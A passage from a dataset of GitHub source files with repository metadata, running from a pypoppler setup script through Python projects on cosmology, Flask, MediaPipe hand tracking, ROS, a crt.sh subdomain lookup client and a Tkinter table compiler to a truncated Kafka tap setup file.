subprocess.check_output(['pkg-config', '--modversion', 'pycairo'])\n version_parts = ['MAJOR', 'MINOR', 'MICRO']\n for part, num in zip(version_parts, version.split('.')):\n yield (part, num)\n\n\ndef pkgconfig(*packages, **kw):\n flag_map = {'-I': 'include_dirs', '-L': 'library_dirs', '-l': 'libraries'}\n for token in subprocess.check_output(['pkg-config', '--libs', '--cflags', ' '.join(packages)]).split():\n if token[:2] in flag_map:\n kw.setdefault(flag_map.get(token[:2]), []).append(token[2:])\n return kw\n\n\nclass PopplerExtension(Extension):\n def __init__(self, name, sources, **kwargs):\n for item, value in pkgconfig(*PACKAGES).items():\n kwargs[item] = kwargs.get(item, []) + value\n\n # Determine the poppler version and set the macros\n kwargs.setdefault('define_macros', [])\n version_parts = []\n for part, num in pypoppler_version():\n kwargs['define_macros'] += ((\"PYPOPPLER_%s_VERSION\" % part, num),)\n version_parts += num\n\n # Determine pycairo version, set the macros\n for part, num in pycairo_version():\n kwargs['define_macros'] += ((\"PYCAIRO_%s_VERSION\" % part, num),)\n\n # Process poppler.defs, this creates poppler.c\n if not os.path.exists('./poppler.c'):\n subprocess.call(['pygobject-codegen-2.0', '--override', 'poppler.override', '--prefix', 'py_poppler', 'poppler.defs'], stdout=file('poppler.c','wb'))\n\n Extension.__init__(self, name, sources, **kwargs)\n\n\nsetup(name='pypoppler',\n version = '.'.join([x[1] for x in pypoppler_version()]),\n maintainer = 'Mark Riedesel',\n maintainer_email = 'mark@klowner.com',\n license = 'GPLv2',\n description = 'Python bindings for poppler-glib, unofficial branch including '\n 'bug fixes, and removal of gtk dependencies',\n url = 'https://code.launchpad.net/~mriedesel/poppler-python/main',\n classifiers = [ 'Development Status :: 3 - Alpha',\n 'Environment :: Console',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: GNU General Public License v2 (GPLv2)',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 2',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Scheme',\n 'Programming Language :: C',\n 'Operating System :: POSIX',\n 'Topic :: Multimedia :: Graphics',\n ],\n ext_modules = [PopplerExtension('poppler',\n sources = ['poppler.c', 'popplermodule.c'],\n )\n ],\n requires = ['PyGObject (>=2.28.3)',\n 'pycairo (>=1.10.0)',],\n )\n","repo_name":"JackieFei/pypoppler","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":3440,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"71968963922","text":"import sys\n\nif not ((2,7,0) <= sys.version_info[:3] < (3,0,0)):\n\traise RuntimeError(\"At least Python version 2.7 required, but not compatible with version 3.0 or higher!\")\n\ndef setupFunction():\n\tfrom distutils.core import setup\n\n\tsetupArgs = dict(\n\t\tname = 'simonPythonLibs',\n\t\tversion = '0.0.1alpha',\n\t\tauthor = 'Simon R. Klaver',\n\t\tauthor_email = 'simonrklaver@gmail.com',\n\t\tdescription = 'Custom made libraries of Simon R. Klaver',\n\t\tpackages=['pythonLibs'],\n\t)\n\t\n\tsetup(**setupArgs)\n\treturn\n\nif __name__ == '__main__':\n\tsetupFunction()\n","repo_name":"Justist/justLibraries","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":540,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"32983177329","text":"import numpy as np\nfrom scipy.integrate import cumtrapz, trapz, quad\nfrom scipy.interpolate import splrep, splev\nimport matplotlib.pyplot as plt \nimport param \n\nc = 2.99792e5 # Speed of light [km/s]\nhP = 4.1357e-15 # Planck constant [eV/Hz]\nm_p = 8.4119e-58 # Proton mass in [Msun]\nkB = 1.380649e-16 # Boltzmann constsant [erg/K]\nrhoc0 = 2.755e11 # Critical density at z=0 [h^2 Msun/Mpc^3]\n\ndef Ez_model(param):\n \"\"\"\n Normalised Hubble parameter.\n Exotic dark energy models can be defined here.\n \"\"\"\n Om = param.cosmo.Om\n Ogamma = param.cosmo.Ogamma\n Ol = 1.0-Om-Ogamma # Flat universe assumption\n if param.DE.name.lower()=='wcdm':\n w = param.DE.w\n Ez = lambda z: (Om*(1+z)**3 + Ogamma*(1+z)**4 + Ol*(1+z)**(3*(1+w)))**0.5\n elif param.DE.name.lower()=='growing_neutrino_mass':\n Onu = param.DE.Onu\n Oede = param.DE.Oede\n Ods0 = Ol #1-param.cosmo.Om\n z2a = lambda z: 1/(1+z)\n Ods1 = lambda z: (Ods0*z2a(z)**3+2*Onu*(z2a(z)**1.5-z2a(z)**3))/(1-Ods0*(1-z2a(z)**3)+2*Onu*(z2a(z)**1.5-z2a(z)**3))\n Ods = np.vectorize(lambda z: Ods1(z) if Oede str:\n return str(tuple(self))\n\n def update(self, trans):\n \"\"\"update transform by single parameter.\"\"\"\n self.__trans = trans\n self.__frame.set_data(self.__trans)\n self.__px.append(self.__trans[0, 3])\n self.__py.append(self.__trans[1, 3])\n self.__pz.append(self.__trans[2, 3])\n self.__line.set_data(self.__px, self.__py)\n self.__line.set_3d_properties(self.__pz)\n\n def clear(self):\n \"\"\"clear trajectory.\"\"\"\n self.__frame.set_data(self.__trans)\n for pos in (self.__px, self.__py, self.__pz):\n pos.clear()\n\n\nclass VisualLink:\n \"\"\"plot linkage between frame\"\"\"\n\n def __init__(self, axis3d, obj1: VisualPose, obj2: VisualPose):\n self.__line = axis3d.plot(\n (obj1.trans[0, 3], obj2.trans[0, 3]),\n (obj1.trans[1, 3], obj2.trans[1, 3]),\n (obj1.trans[2, 3], obj2.trans[2, 3]),\n c=\"k\",\n )[0]\n self.__objs = obj1\n self.__obje = obj2\n\n def update(self):\n \"\"\"update linkage with transform.\"\"\"\n self.__line.set_data(\n (self.__objs.trans[0, 3], self.__obje.trans[0, 3]),\n (self.__objs.trans[1, 3], self.__obje.trans[1, 3]),\n )\n self.__line.set_3d_properties(\n (self.__objs.trans[2, 3], self.__obje.trans[2, 3])\n )\n","repo_name":"Xtinc/matrix","sub_path":"tools/misc.py","file_name":"misc.py","file_ext":"py","file_size_in_byte":3372,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"3"} +{"seq_id":"10358660806","text":"from sqlalchemy.sql import text\nfrom vehicles import vehicles\n\nclass service_providers(object):\n def __init__(self, business_id, business_name, business_description,\n phone_num, email):\n self.business_id = business_id\n self.business_name = business_name\n self.business_description = business_description\n self.phone_num = phone_num\n self.email = email\n\n @staticmethod\n def find_by_email(email, database_connection):\n query = \"\"\"SELECT business_id, business_name, business_description,\n phone_num, email\n FROM service_providers\n WHERE service_providers.email = :email\"\"\"\n cursor = database_connection.execute(text(query), email=email)\n result = cursor.fetchone()\n if result is None:\n return None\n return service_providers(*result)\n\n @staticmethod\n def find_by_id(business_id, database_connection):\n query = \"\"\"SELECT business_id, business_name, business_description,\n phone_num, email\n FROM service_providers\n WHERE service_providers.business_id = :bid\"\"\"\n cursor = database_connection.execute(text(query), bid=business_id)\n result = cursor.fetchone()\n if result is None:\n return None\n return service_providers(*result)\n\n @staticmethod\n def list_for_building(building_id, database_connection):\n query = \"\"\"SELECT business_id, business_name, business_description,\n phone_num, email\n FROM service_providers NATURAL JOIN provides_services_for\n WHERE provides_services_for.building_id = :bid\"\"\"\n cursor = database_connection.execute(text(query), bid=building_id)\n\n return [service_providers(*result) for result in cursor]\n\n","repo_name":"mgouzenko/bms","sub_path":"app/models/service_providers.py","file_name":"service_providers.py","file_ext":"py","file_size_in_byte":1881,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"39839355341","text":"from flask import Flask\nfrom flask import render_template\nfrom flask import request\nfrom flask import Response\nimport model\nimport json\n\nimport process\n\napp = Flask(__name__)\n\n\n@app.route(\"/search\", methods=[\"POST\", \"GET\"])\ndef search():\n if request.method == 'POST':\n player_rk = request.form['rk']\n player_count = request.form['count']\n\n df_players = process.load_players()\n numpy_array = df_players[\n ['Gls', 'Ast', 'Sh', 'SoT', 'Cmp', 'TotDist', 'Touches', 'Crs', 'Tkl', 'Blocks', 'Int', 'Clr']].values.astype(int)\n\n if numpy_array.size > 0:\n\n df_player_list = model.get_pca_results(numpy_array, df_players)\n # print(df_player_list.head())\n selected_rk = int(player_rk)\n selected_row = df_player_list.loc[df_player_list['Rk'] == selected_rk]\n # print(selected_row)\n\n df_player_list['dist'] = df_player_list.apply(lambda row: process.calculate_distance(row['X'], row['Y'],\n selected_row['X'],\n selected_row['Y']), axis=1)\n\n sorted_df_player_list = df_player_list.sort_values(by=['dist'], ascending=True, ignore_index=True)\n print(sorted_df_player_list)\n\n df_similar_players = sorted_df_player_list.loc[1:int(player_count), [\"Rk\", \"Player\", \"Pos\", \"Squad\", \"Age\", \"Gls\", \"Ast\", \"X\", \"Y\"]]\n print(df_similar_players)\n return df_similar_players.to_json(orient='records')\n\n\n@app.route(\"/squad\", methods=[\"POST\", \"GET\"])\ndef squad():\n if request.method == 'POST':\n squad_name = request.form['squad_name']\n # print(squad_name)\n df_players = process.load_players()\n df_squad_players = df_players[df_players[\"Squad\"] == squad_name]\n df_squad_players_subset = df_squad_players[[\"Rk\", \"Player\", \"Pos\"]]\n return df_squad_players_subset.to_json(orient='records')\n\n\n@app.route(\"/\")\ndef index():\n df_squads = process.load_squads()\n squads = df_squads[\"Squad\"]\n # print(squads.tolist())\n return render_template(\"index.html\", squads=squads.tolist())\n\n\nif __name__ == \"__main__\":\n app.run(host='0.0.0.0', port=5000, debug=True, use_reloader=False)","repo_name":"avadhaniamogh/SimilarPlayersSearch","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2359,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"71337834963","text":"from app import utils\nlogger = utils.get_logger()\n\n\nclass CrtshClient:\n def __init__(self):\n self.url = \"https://crt.sh/\"\n\n def search(self, domain):\n param = {\n \"output\": \"json\",\n \"q\": domain\n }\n\n data = utils.http_req(self.url, 'get', params=param, timeout=(30.1, 50.1)).json()\n return data\n\n\ndef crtsh_search(domain):\n name_list = []\n try:\n c = CrtshClient()\n items = c.search(domain)\n for item in items:\n for name in item[\"name_value\"].split():\n name = name.strip()\n name = name.strip(\"*.\")\n name = name.lower()\n\n if \"@\" in name:\n continue\n\n if not utils.domain_parsed(domain):\n continue\n\n if name.endswith(\".\"+domain):\n name_list.append(name)\n\n name_list = list(set(name_list))\n logger.info(\"search crtsh {} {}\".format(domain, len(name_list)))\n\n except Exception as e:\n logger.exception(e)\n\n return name_list\n\n","repo_name":"huan-cdm/vuln_scan_system","sub_path":"mon_platform/ARL-2.4/app/services/crtshClient.py","file_name":"crtshClient.py","file_ext":"py","file_size_in_byte":1090,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"} +{"seq_id":"26174109452","text":"# **************************************************************************\n# *\n# * Authors: J.M. De la Rosa Trevin (delarosatrevin@scilifelab.se) [1]\n# * Viktor E. G. Bengtsson (viktor.bengtsson@mmk.su.se) [2]\n# *\n# * [1] SciLifeLab, Stockholm University\n# * [2] MMK, Stockholm University\n# *\n# * This program is free software; you can redistribute it and/or modify\n# * it under the terms of the GNU General Public License as published by\n# * the Free Software Foundation; either version 2 of the License, or\n# * (at your option) any later version.\n# *\n# * This program is distributed in the hope that it will be useful,\n# * but WITHOUT ANY WARRANTY; without even the implied warranty of\n# * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# * GNU General Public License for more details.\n# *\n# * You should have received a copy of the GNU General Public License\n# * along with this program; if not, write to the Free Software\n# * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA\n# * 02111-1307 USA\n# *\n# * All comments concerning this program package may be sent to the\n# * e-mail address 'scipion@cnb.csic.es'\n# *\n# **************************************************************************\n\"\"\"\nThis modules contains classes related with ED\n\"\"\"\n\nimport os\n\nimport pyworkflow as pw\nimport pyworkflow.plugin as pwplugin\nimport pyworkflow.utils as pwutils\nfrom pyworkflow.protocol import HostConfig, Protocol\nfrom pyworkflow.viewer import Viewer\nfrom pyworkflow.wizard import Wizard\n\nfrom .constants import *\nfrom .objects import EdBaseObject\nfrom .utils import *\n\n# Epoch indicates compatible main Scipion version\n# major.minor.micro versioning starting with 1.0.0 in the new epoch\n__version__ = \"3!1.0.1a0\"\n\n\nclass Domain(pwplugin.Domain):\n _name = __name__\n _objectClass = EdBaseObject\n _protocolClass = Protocol\n _viewerClass = Viewer\n _wizardClass = Wizard\n _baseClasses = globals()\n\n\nclass Plugin(pwplugin.Plugin):\n pass\n\n\nclass Config:\n # scipion-pyworkflow will generate the path $SCIPION_HOME/software/bindings\n # The path will be created in the working directory if SCIPION_HOME is not set\n SCIPION_ED_HOME = os.environ.get(\n \"SCIPION_HOME\", pwutils.expandPattern(\"~/.scipion-ed-home\")\n )\n # Allowing the user to set SCIPION_ED_USERDATA at installation is issue #8\n SCIPION_ED_USERDATA = os.environ.get(\n \"SCIPION_ED_USERDATA\", pwutils.expandPattern(\"~/ScipionEdUserData\")\n )\n # Location of the contents from scipion-ed-testdata\n SCIPION_ED_TESTDATA = os.environ.get(\"SCIPION_ED_TESTDATA\", None)\n\n SCIPION_ED_TEST_OUTPUT = os.environ.get(\n \"SCIPION_ED_TEST_OUTPUT\", os.path.join(SCIPION_ED_USERDATA, \"Tests\")\n )\n\n\n# ----------- Override some pyworkflow config settings ------------------------\n\n# Create Config.SCIPION_ED_HOME if it does not already exist. It is required\n# pyworkflow.Config\nif not os.path.exists(Config.SCIPION_ED_HOME):\n os.mkdir(Config.SCIPION_ED_HOME)\n# Create Config.SCIPION_ED_USERDATA if it does not already exist.\nif not os.path.exists(Config.SCIPION_ED_USERDATA):\n os.mkdir(Config.SCIPION_ED_USERDATA)\n# Create default hosts.conf\nhostsFile = os.path.join(Config.SCIPION_ED_USERDATA, \"hosts.conf\")\nif not os.path.exists(hostsFile):\n HostConfig.writeBasic(hostsFile)\n\n\nos.environ[\"SCIPION_VERSION\"] = \"ED - \" + __version__\nos.environ[\"SCIPION_HOME\"] = pw.Config.SCIPION_HOME = Config.SCIPION_ED_HOME\nos.environ[\n \"SCIPION_USER_DATA\"\n] = pw.Config.SCIPION_USER_DATA = Config.SCIPION_ED_USERDATA\nos.environ[\"SCIPION_HOSTS\"] = pw.Config.SCIPION_HOSTS = hostsFile\nos.environ[\n \"SCIPION_TESTS_OUTPUT\"\n] = pw.Config.SCIPION_TESTS_OUTPUT = Config.SCIPION_ED_TEST_OUTPUT\n\npw.Config.setDomain(\"pwed\")\n\n\nDomain.registerPlugin(__name__)\n","repo_name":"scipion-ed/scipion-ed","sub_path":"pwed/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3795,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"} +{"seq_id":"16833563107","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Apr 4 15:07:40 2017\r\n\r\n@author: PogrebnyakEV\r\n\"\"\"\r\n\r\nimport os\r\ndef test_create_file(tmpdir):\r\n # tmpdir is defined internally in pytest\r\n # described here: https://docs.pytest.org/en/latest/tmpdir.html#the-tmpdir-fixture\r\n # see also: http://stackoverflow.com/questions/36070031/creating-a-temporary-directory-in-pytest\r\n p = tmpdir.join(\"hello.txt\")\r\n p.write(\"content\")\r\n assert p.read() == \"content\"\r\n assert len(tmpdir.listdir()) == 1\r\n #assert 0\r\n \r\n","repo_name":"epogrebnyak/data-rosstat-kep","sub_path":"kep/tests/test_tmp.py","file_name":"test_tmp.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"22"} +{"seq_id":"9714607138","text":"\r\nimport cv2\r\nimport mediapipe as mp\r\n# görsel analiz\r\nimport pyautogui\r\n\"\"\"otomasyon ve ekran yakalama kütüphanesi\r\n Bu kütüphane, klavye girişleri yapma, fare hareketleri gerçekleştirme,\r\n ekranı yakalama, pencere kontrolü gibi bir dizi otomasyon işlemi için kullanılabilir.\"\"\"\r\n\r\ncap = cv2.VideoCapture(0)\r\n# mediapipe kütüphanesinin Hands sınıfını kullanarak bir el algılama modeli oluşturduk\r\nhand_detector = mp.solutions.hands.Hands()\r\n# algılanan ellerin üzerine çizim yapmak veya işaretlemeler eklemek için\r\ndrawing_utils = mp.solutions.drawing_utils\r\n# işlevi kullanılarak ekranın genişliğini ve yüksekliğini alır\r\nscreen_width, screen_height = pyautogui.size()\r\nindex_y = 0\r\nshortcut_keys = ['ctrl','tab']\r\nfp = [[0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [\r\n 0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0]]\r\n\r\nwhile True:\r\n # cap değişkeni ile video akışından bir kare okunur ve frame değişkenine atanır\r\n _, frame = cap.read()\r\n # Okunan kare, cv2.flip() işlevi kullanılarak yatay olarak çevrilir. Bu, görüntünün aynalanmasını sağlar.\r\n frame = cv2.flip(frame, 1)\r\n # framein bilgileri değişkenlere atanır\r\n frame_height, frame_width, _ = frame.shape\r\n # bgr to rgb işte mp ye uygun hale getirmek için\r\n rgb_frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\r\n # hand_detector nesnesi kullanılarak process() işlevi çağrılır ve RGB formatında çerçeve işlenir.\r\n output = hand_detector.process(rgb_frame)\r\n # el algılama mdelini çalıştırır\r\n # : output nesnesinin multi_hand_landmarks özelliği kullanılarak algılanan eller elde edilir.\r\n hands = output.multi_hand_landmarks\r\n \"\"\"\r\n Bu şekilde, sürekli olarak video akışından kareler alınır,\r\n el algılama işlemi gerçekleştirilir ve algılanan ellerin koordinatları\r\n hands değişkeninde saklanır.\r\n \"\"\"\r\n\r\n if hands: # en az bir elin algılandığı durumu kontrol eder.\r\n for hand in hands: # Algılanan her el için bir döngü oluşturulur.\r\n # elin noktalarını ve bağlantılarını çizim\r\n drawing_utils.draw_landmarks(frame, hand)\r\n # hand içindeki noktaların koordinatlarını içeren landmarks değişkenine atanır\r\n landmarks = hand.landmark\r\n # Her bir nokta için bir döngü oluşturulur ve noktaların koordinatlarının hesaplanması yapılır.\r\n for id, landmark in enumerate(landmarks):\r\n # Noktanın x koordinatı, noktanın orijinal konumunu kare genişliğiyle çarparak bulunur.\r\n x = int(landmark.x * frame_width)\r\n # Noktanın y koordinatı, noktanın orijinal konumunu kare genişliğiyle çarparak bulunur.\r\n y = int(landmark.y * frame_height)\r\n\r\n fp[id][0] = screen_width / frame_width * x\r\n fp[id][1] = screen_height / frame_height * y\r\n\r\n if id == 4 or id == 8 or id == 12 or id == 16 or id == 20: # işaret parmağı en üst boğumu\r\n cv2.circle(img=frame, center=(x, y), radius=10,\r\n color=(0, 255, 255)) # yuvarlak çizdi\r\n\r\n\r\n\r\n if abs(fp[8][1] - fp[4][1]) < 20:#eğer baş parmak işaret parmağına deyiyosa \r\n pyautogui.click()#tıkla\r\n pyautogui.sleep(1) \r\n \r\n elif abs(fp[8][1] - fp[4][1]) < 100:\r\n pyautogui.moveTo(fp[8][0], fp[8][1])\r\n if abs(fp[12][1]-fp[9][1])<20 and abs(fp[16][1]-fp[13][1])<20 and abs(fp[4][1]-fp[9][1])<20:\r\n pyautogui.hotkey(*shortcut_keys)\r\n print(\"AUUUUUUUUU\")\r\n \r\n \r\n \r\n \r\n \r\n cv2.imshow('Virtual Mouse', frame)\r\n \r\n\r\n key = cv2.waitKey(1) & 0xFF\r\n if key == ord('q'): # qya basıncs kamerayı kapat\r\n break\r\n\r\n# Release the video capture object and close windows\r\ncap.release()\r\ncv2.destroyAllWindows()","repo_name":"bedirhan420/ai-virtual-mouse-by-bc","sub_path":"ai_virtual_mouse.py","file_name":"ai_virtual_mouse.py","file_ext":"py","file_size_in_byte":4095,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"4569624368","text":"#!/usr/bin/env python\n\"\"\"Take data from gazebo and make a TF transform from gazebo to robot baselink\"\"\"\n\nimport rospy\nfrom geometry_msgs.msg import Pose, TransformStamped\nimport tf_conversions\nimport tf2_ros\n\n\ndef callback(data):\n try:\n handle_strirus_pose(data)\n except ValueError:\n rospy.logerr(\n \"There is no model called \" + (rospy.get_param('/ideal_robot_localization/robot_name', \"strirus_gamma\") +\n \", shutdown the node\"))\n rospy.signal_shutdown(\"meow\")\n # rospy.loginfo(rospy.get_caller_id() + \"I heard %s\", data.data)\n\n\ndef handle_strirus_pose(strirus_pose):\n br = tf2_ros.TransformBroadcaster()\n t = TransformStamped()\n t.header.stamp = rospy.Time.now()\n t.header.frame_id = rospy.get_param(\n '/ideal_robot_localization/world_frame', \"world\")\n t.child_frame_id = rospy.get_param(\n '/ideal_robot_localization/robot_base_frame', \"base_footprint\")\n t.transform.translation = strirus_pose.position\n t.transform.rotation = strirus_pose.orientation\n br.sendTransform(t)\n\n\nif __name__ == '__main__':\n try:\n # log_level is needed for present debugging info\n if rospy.get_param('/ideal_robot_localization/debug', \"true\"):\n logging = rospy.DEBUG\n else:\n logging = rospy.INFO\n rospy.init_node('ideal_robot_localization',\n anonymous=True, log_level=logging)\n rospy.Subscriber(\"/coppeliasim/robot_state\", Pose, callback)\n rospy.spin()\n except rospy.ROSInterruptException:\n pass\n","repo_name":"brooky56/DL_ML-Reinforcement-learning-12-legged-robot","sub_path":"dev/sim_perception_map_first_iter/scripts/ideal_robot_localization.py","file_name":"ideal_robot_localization.py","file_ext":"py","file_size_in_byte":1596,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"12026635415","text":"from sklearn.metrics.pairwise import cosine_similarity\nfrom sentence_transformers import SentenceTransformer\nimport pymongo, json\nimport torch\nfrom torch.nn import CosineSimilarity\nfrom scipy.spatial.distance import cosine\nDB = pymongo.MongoClient(host=\"localhost\", port=27017)[\"orion-tf1\"]\n\ndef run():\n model = SentenceTransformer('bert-base-nli-mean-tokens')\n all_apis = DB.list_collection_names()\n while all_apis:\n current_api = all_apis.pop()\n list_of_sim = []\n for j, api_ in enumerate(all_apis):\n print(f\"{api_}: Index: {j}\")\n embedding1 = model.encode(current_api)\n embedding2 = model.encode(api_)\n cosine_sim = cosine_similarity([embedding1], [embedding2])\n list_of_sim.append([api_, float(cosine_sim[0][0])])\n sorted_list = sorted(list_of_sim, key=lambda x: x[1], reverse=True)\n for item in sorted_list:\n json_data = json.dumps(item)\n with open(f'/media/nimashiri/DATA/vsprojects/benchmarkingDLFuzzers/fuzzers/DeepREL/tensorflow/data/tf/match_internal/{current_api}.json', 'a') as f:\n f.write(json_data)\n f.write('\\n')\n\nif __name__ == '__main__':\n run()","repo_name":"dmc1778/Orion","sub_path":"preprocess/calculate_api_similarity.py","file_name":"calculate_api_similarity.py","file_ext":"py","file_size_in_byte":1216,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"22"} +{"seq_id":"17457567784","text":"from tkinter import *\r\nfrom tkinter import filedialog\r\nimport pandas as pd\r\n\r\n# final dataframe, file paths\r\nall_data = pd.DataFrame()\r\nfile_directs = []\r\nfile_list = ''\r\n\r\ncolor_mode = 1\r\n\r\nclass theme():\r\n btn_font = 'bold'\r\n winbg = 'black'\r\n btn = 'orange'\r\n frm = 'gray15'\r\n txtfg = 'pink'\r\n txtbg = 'gray6'\r\n txt = '#44D62C' #neon green\r\n btntxt = '#4D4DFF' #neon blue\r\n btnbg = 'gray12'\r\n btnactbg = 'gray12'\r\n btnactfnt = '#FFAD00' #neon orange\r\n scrllbg = 'pink'\r\n\r\n# select files and display file names in window\r\ndef open_file():\r\n global file_directs\r\n global file_list\r\n\r\n new_files = list(filedialog.askopenfilenames())\r\n file_directs.extend(new_files)\r\n\r\n # add filenames to the tk list box\r\n for i in new_files:\r\n fl = i.split('/')[-1] + '\\n'\r\n file_list += fl\r\n \r\n txt_list.config(state=NORMAL, fg=theme.txtfg, bg=theme.txtbg, foreground=theme.txt)\r\n txt_list.delete('1.0', END)\r\n txt_list.insert(END, file_list)\r\n txt_list.config(state=DISABLED)\r\n\r\n # activate compile button\r\n check_ready()\r\n\r\ndef clear_files():\r\n global file_directs\r\n global file_list\r\n global all_data\r\n\r\n file_directs = []\r\n file_list = ''\r\n all_data = pd.DataFrame()\r\n\r\n txt_list.config(state=NORMAL)\r\n txt_list.delete('1.0', END)\r\n txt_list.config(state=DISABLED)\r\n\r\n check_ready()\r\n\r\ndef compile_csv():\r\n # plan: make it append on matching column names. exclude excess columns\r\n global file_directs\r\n global all_data\r\n msg = 'Compiled\\n' \r\n\r\n for f in file_directs:\r\n file_name = f.split('/')[-1]\r\n file_ext = file_name.split('.')[-1]\r\n\r\n if file_ext == 'txt' : \r\n temp_df = pd.read_csv(f, delimiter='\\t')\r\n s = temp_df.shape\r\n msg += '{}\\n {} rows {} cols\\n'.format(file_name,s[0],s[1])\r\n elif file_ext == 'xlsx' : \r\n temp_df = pd.read_excel(f)\r\n s = temp_df.shape\r\n msg += '{}\\n {} rows {} cols\\n'.format(file_name,s[0],s[1])\r\n elif file_ext == 'csv' : \r\n temp_df = pd.read_csv(f)\r\n s = temp_df.shape\r\n msg += '{}\\n {} rows {} cols\\n'.format(file_name,s[0],s[1])\r\n else: msg += '\\nError reading {}\\n File extension not .txt, .xlsx or .csv'\r\n\r\n all_data = all_data.append(temp_df, ignore_index=True)\r\n \r\n ads = all_data.shape\r\n msg += 'Compilation\\n {} rows {} cols\\n'.format(ads[0],ads[1])\r\n\r\n check_ready()\r\n\r\n txt_list.config(state=NORMAL, fg=theme.txtfg, bg=theme.txtbg, foreground=theme.txt)\r\n txt_list.delete('1.0', END)\r\n txt_list.insert(END, msg)\r\n txt_list.config(state=DISABLED)\r\n\r\ndef check_ready():\r\n global file_directs\r\n global all_data\r\n\r\n if len(file_directs) > 0:\r\n btn_compile['state'] = NORMAL\r\n btn_clear['state'] = NORMAL\r\n if all_data.shape[0] > 0:\r\n btn_save['state'] = NORMAL\r\n else:\r\n btn_save['state'] = DISABLED\r\n\r\n else:\r\n btn_compile['state'] = DISABLED\r\n btn_clear['state'] = DISABLED\r\n btn_save['state'] = DISABLED\r\n\r\ndef save_file():\r\n global all_data\r\n\r\n out_path = filedialog.asksaveasfile(mode='w', defaultextension=\".txt\")\r\n if out_path is None:\r\n return\r\n all_data.to_csv(out_path, index=False, line_terminator='\\n', sep='\\t')\r\n out_path.close()\r\n\r\n# window\r\nroot = Tk()\r\nroot.title(\"Text File Compiler\")\r\nroot.geometry('610x377')\r\nroot.configure(bg=theme.winbg)\r\nroot.attributes('-alpha', 0.90)\r\n\r\n# frame\r\nupper_frame = Frame(root, bg=theme.frm, bd=5)\r\nupper_frame.place(relx=0.5, rely=0.05, relwidth=0.9, relheight=0.2, anchor=\"n\")\r\n\r\nlower_frame = Frame(root, bg=theme.frm, bd=5)\r\nlower_frame.place(relx=0.5, rely=0.25, relwidth=0.9, relheight=0.6, anchor=\"n\")\r\n\r\n# objects\r\nbtn_open_file = Button(upper_frame, text=\"Select Files\", command=open_file, bg=theme.btnbg, fg=theme.btntxt, font=theme.btn_font, activebackground=theme.btnactbg, activeforeground=theme.btnactfnt)\r\nbtn_open_file.pack(side='left', expand=True)\r\n\r\nbtn_compile = Button(upper_frame, text=\"Compile\", state=DISABLED, command=compile_csv, bg=theme.btnbg, fg=theme.btntxt, font=theme.btn_font, activebackground=theme.btnactbg, activeforeground=theme.btnactfnt)\r\nbtn_compile.pack(side='left', expand=True)\r\n\r\nbtn_save = Button(upper_frame, text=\"Save\", state=DISABLED, command=save_file, bg=theme.btnbg, fg=theme.btntxt, font=theme.btn_font, activebackground=theme.btnactbg, activeforeground=theme.btnactfnt)\r\nbtn_save.pack(side='left', expand=True)\r\n\r\nbtn_clear = Button(upper_frame, text=\"Clear Files\", state=DISABLED, command=clear_files, bg=theme.btnbg, fg=theme.btntxt, font=theme.btn_font, activebackground=theme.btnactbg, activeforeground=theme.btnactfnt)\r\nbtn_clear.pack(side='left', expand=True)\r\n\r\ntxt_list = Text(lower_frame, bg=theme.txtbg)\r\ntxt_list.pack(expand=True, fill='both')\r\n\r\n# scrollbars\r\nhbar=Scrollbar(root, orient=HORIZONTAL, bg=theme.scrllbg)\r\nhbar.pack(side=BOTTOM, fill=X)\r\nhbar.config(command=txt_list.xview)\r\nvbar=Scrollbar(root, orient=VERTICAL, bg=theme.scrllbg)\r\nvbar.pack(side=RIGHT, fill=Y)\r\nvbar.config(command=txt_list.yview)\r\n\r\nroot.mainloop()","repo_name":"andrewdavis23/table_file_compiler","sub_path":"Table File Compiler.py","file_name":"Table File Compiler.py","file_ext":"py","file_size_in_byte":5217,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"26941673882","text":"#!/usr/bin/env python\n\nfrom setuptools import setup\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\nsetup(name='pipelinewise-tap-kafka',\n version='4.0.0',\n description='Singer.io tap for extracting data from Kafka topic - PipelineWise compatible',\n long_description=long_description,\n long_description_content_type='text/markdown',\n author='TransferWise',\n url='https://singer.io',\n classifiers=[\n 'License :: OSI Approved :: GNU Affero General Public License v3',\n 'Programming Language :: Python :: 3 :: Only'\n ],\n install_requires=[\n 'kafka-python==2.0.1',\n 'pipelinewise-singer-python==1.*',\n 'dpath==2.0.1',\n 'filelock==3.0.12'\n ],\n extras_require={\n \"test\": [\n \"pytest==5.0.1\",\n \"nose==1.3.7\",\n \"pylint==2.4.2\"\n 